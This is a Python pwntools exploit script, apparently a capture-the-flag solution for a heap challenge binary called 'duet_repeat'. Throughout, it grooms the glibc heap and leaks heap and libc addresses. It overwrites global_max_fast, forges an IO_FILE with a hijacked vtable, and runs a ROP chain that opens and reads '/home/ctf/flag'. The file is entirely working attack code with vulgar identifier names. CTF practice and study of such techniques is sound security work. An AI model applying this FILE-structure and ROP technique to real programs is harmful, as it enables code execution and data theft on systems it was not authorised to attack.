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#!/usr/bin/python3 | |
from pwn import * | |
from past.builtins import xrange | |
from IO_FILE import * | |
from time import sleep | |
###Utils | |
def newins(instrument,data): | |
io.sendlineafter(': ','1') | |
io.sendlineafter('Instrument: ',instrument) | |
io.sendlineafter('Duration: ',str(len(data))) | |
io.sendafter('Score: ',data) | |
def deleteins(instrument): | |
io.sendlineafter(': ','2') | |
io.sendlineafter('Instrument: ',instrument) | |
def showins(instrument): | |
io.sendlineafter(': ','3') | |
io.sendlineafter('Instrument: ',instrument) | |
data = io.recvline().strip() | |
return data[5:] | |
def fuckit(size): | |
io.sendlineafter(': ','5') | |
io.sendlineafter('合: ',str(size)) | |
####Addr | |
main_arena = 0x3b2c40 | |
unsorted_bin_offset = main_arena + 0x60 | |
small_bin_offset = 0x3b2d80 | |
global_max_fast = 0x3b4920 | |
_IO_2_1_stdout_ = 0x3b3760 | |
_IO_wide_data_1 = 0x3b28c0 | |
_IO_file_jumps = 0x3af360 | |
_IO_str_jumps = 0x3af420 | |
_IO_list_all = 0x3b3660 | |
_IO_wfile_sync = 0x3aee80 | |
####Gadgets | |
L_leave_ret = 0x00100580 | |
L_pop_rdi = 0x0012a20e | |
L_pop_rsi = 0x001223be | |
L_pop_rdx = 0x000ffa25 | |
L_pop_rax = 0x00037bf8 | |
L_syscall = 0x000e44e5 | |
####Exploit | |
if __name__=='__main__': | |
io = process('./duet_repeat')#env={'LD_PRELOAD':'./libc.so.6') | |
dick = ['琴','瑟'] | |
for i in xrange(7): | |
newins(dick[0],'A'*0x88) | |
deleteins(dick[0]) | |
newins(dick[0],'A'*0xe8) | |
deleteins(dick[0]) | |
newins(dick[0],'A'*0x1e8) | |
deleteins(dick[0]) | |
newins(dick[0],'A'*0xd8) | |
deleteins(dick[0]) | |
newins(dick[0],'A'*0x3e8) | |
deleteins(dick[0]) | |
newins(dick[0],'A'*0x108) | |
deleteins(dick[0]) | |
newins(dick[0],'A'*0x3d8) | |
deleteins(dick[0]) | |
newins(dick[0],'A'*0x128) | |
deleteins(dick[0]) | |
newins(dick[0],'A'*0x88) | |
newins(dick[1],'A'*0x108) | |
deleteins(dick[0]) | |
newins(dick[0],b'A'*0xd8+p64(0x131)+p64(0x0)+p64(0x121)+p64(0x0)+p64(0x111)+p64(0xf0)+p64(0x101)+b'A'*(0x1d8-0xe0)) | |
fuckit(0xf1) | |
deleteins(dick[1]) | |
newins(dick[1],b'A'*0x108+p64(0xf1)+p64(0x0)*3) | |
deleteins(dick[0]) | |
leaks = showins(dick[1]) | |
heap_base = u64(leaks[0x110:0x118])-0x68b0 | |
unsorted_bin = u64(leaks[0x118:0x120]) | |
libc_base = unsorted_bin - unsorted_bin_offset | |
print(f'Heap: 0x{heap_base:02x}') | |
print(f'Libc: 0x{libc_base:02x}') | |
deleteins(dick[1]) | |
newins(dick[1],b'A'*0x108+p64(0xf1)+p64(libc_base+small_bin_offset)+p64(libc_base+small_bin_offset)) | |
newins(dick[0],'A'*0x108) | |
deleteins(dick[0]) | |
newins(dick[0], | |
p64(0)+p64(0)+p64(0)+p64(0xc1)+\ | |
p64(libc_base+small_bin_offset-0x30)+p64(heap_base+0x68c0)+\ | |
p64(heap_base+0x68b0)+p64(heap_base+0x68d0)+\ | |
p64(0)+p64(heap_base+0x68e0)+\ | |
p64(0)+p64(heap_base+0x68f0)+\ | |
p64(0)+p64(heap_base+0x6900)+\ | |
p64(0)+p64(heap_base+0x6910)+\ | |
p64(0)+p64(heap_base+0x6920)+\ | |
p64(0)+p64(libc_base+global_max_fast-0x10)+\ | |
b'A'*0x30+p64(0xc0)+p64(0x130)) | |
deleteins(dick[0]) | |
newins(dick[0],'A'*0xb8) | |
deleteins(dick[1]) | |
newins(dick[1],b'A'*0x18+p64(0xe1)+b'A'*0xb0+p64(0xc0)+p64(0x130)) | |
deleteins(dick[0]) | |
deleteins(dick[1]) | |
IO_file = IO_FILE_plus(arch=64) | |
stream = IO_file.construct( | |
read_ptr=1, | |
read_end=0, | |
buf_base=0, | |
buf_end=heap_base+0x1e100, | |
read_base=0x7f7f7f7f7f7f7f7f, | |
write_base=libc_base+L_leave_ret, | |
codecvt=heap_base+0x68c0, | |
wide_data=heap_base+0x6790, | |
lock=(libc_base+_IO_list_all)-0x8, | |
vtable=(libc_base+_IO_wfile_sync-0x38)) | |
stream += p64(libc_base) | |
newins(dick[1],stream+b'A'*0x20+p64(0xf1)+p64(libc_base+_IO_2_1_stdout_+0x8f)+p64(0x0)*2) | |
deleteins(dick[1]) | |
R_ROP = p64(0)+p64(libc_base+L_pop_rdi)+p64(0)+\ | |
p64(libc_base+L_pop_rdi)+p64(libc_base+L_leave_ret)+\ | |
p64(libc_base+L_pop_rdi)+p64(0x0)+\ | |
p64(libc_base+L_pop_rsi)+p64(heap_base+0x6930)+\ | |
p64(libc_base+L_pop_rdx)+p64(0x100)+\ | |
p64(libc_base+L_pop_rax)+p64(0x0)+\ | |
p64(libc_base+L_syscall) | |
newins(dick[1],b'A'*0x18+p64(0xe1)+R_ROP.ljust(0xb0,b'\x00')+p64(0xc0)+p64(0x130)) | |
newins(dick[0], | |
(b'A'+p64(libc_base+_IO_wide_data_1)+\ | |
p64(0)*3+p64(0xffffffff)+\ | |
p64(0)+p64(libc_base+_IO_file_jumps)+\ | |
p64(0)*2+p64(heap_base+0x6790)).ljust(0xe8,b'\x00')) | |
sleep(0.2) | |
L_ROP = p64(libc_base+L_pop_rdi)+p64(heap_base+0x69f0)+\ | |
p64(libc_base+L_pop_rsi)+p64(0x0)+\ | |
p64(libc_base+L_pop_rax)+p64(0x2)+\ | |
p64(libc_base+L_syscall)+\ | |
p64(libc_base+L_pop_rdi)+p64(0x3)+\ | |
p64(libc_base+L_pop_rsi)+p64(heap_base+0x69f0)+\ | |
p64(libc_base+L_pop_rdx)+p64(0x50)+\ | |
p64(libc_base+L_pop_rax)+p64(0x0)+\ | |
p64(libc_base+L_syscall)+\ | |
p64(libc_base+L_pop_rdi)+p64(0x1)+\ | |
p64(libc_base+L_pop_rax)+p64(0x1)+\ | |
p64(libc_base+L_syscall)+\ | |
p64(libc_base+L_pop_rax)+p64(0x3c)+\ | |
p64(libc_base+L_syscall)+\ | |
b'/home/ctf/flag\x00' | |
io.send(L_ROP) | |
io.interactive() |
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